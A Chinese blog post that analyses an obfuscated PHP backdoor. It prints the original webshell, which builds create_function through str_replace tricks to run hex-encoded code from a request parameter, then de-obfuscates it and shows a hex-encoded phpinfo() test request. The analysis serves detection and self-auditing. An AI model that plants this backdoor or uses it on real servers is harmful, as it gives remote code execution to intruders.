PHP函数create_function()后门分析

原始代码

$CD=trim(@$_REQUEST["request"]);
if($CD){
  $DATA="";
  for($c=0;$c<strlen($CD);$c+=2)
  $DATA.=urldecode("%".substr($CD,$c,2));
  $STR = str_replace("li","","lislitlirli_rlielipllialice");
  $DATE = $STR("str","","strcstrrestratstrestr_fstruncstrtstriostrn");
  $BASE = $DATE("", $DATA);@$BASE();exit;
}

先把可以str_replace这些函数进行执行得到真实执行代码

$CD = trim(@$_REQUEST["request"]);
if ($CD) {
   $DATA = "";
   for($c=0;$c<strlen($CD);$c+=2)
   $DATA.=urldecode("%".substr($CD,$c,2));
    $BASE = create_function("", $DATA);
    @$BASE();
    exit;
}

看到原始代码这边看到了create_function()函数,可以确定此代码后门无疑

create_function函数

适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

for($c=0;$c<strlen($CD);$c+=2) $DATA.=urldecode("%".substr($CD,$c,2));循环后的值$DATA放到了第二个参数,执行代码部分。
此for循环每两位切割并拼接%进行URL解码。这里可以判断入参必定是16进制拼接,然后转码成字符。
字符转16进制ASCII码工具
使用字符转16进制ASCII码工具,此处使用phpinfo();作为测试,phpinfo();=>706870696e666f28293b
请求localhost/ctf.php?request=706870696e666f28293b
可成功输出PHP版本信息,如失败则是当前PHP版本不支持此函数。
本文章仅作为个人知识分享,用于企业内部自查,请勿用作非法用途!

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值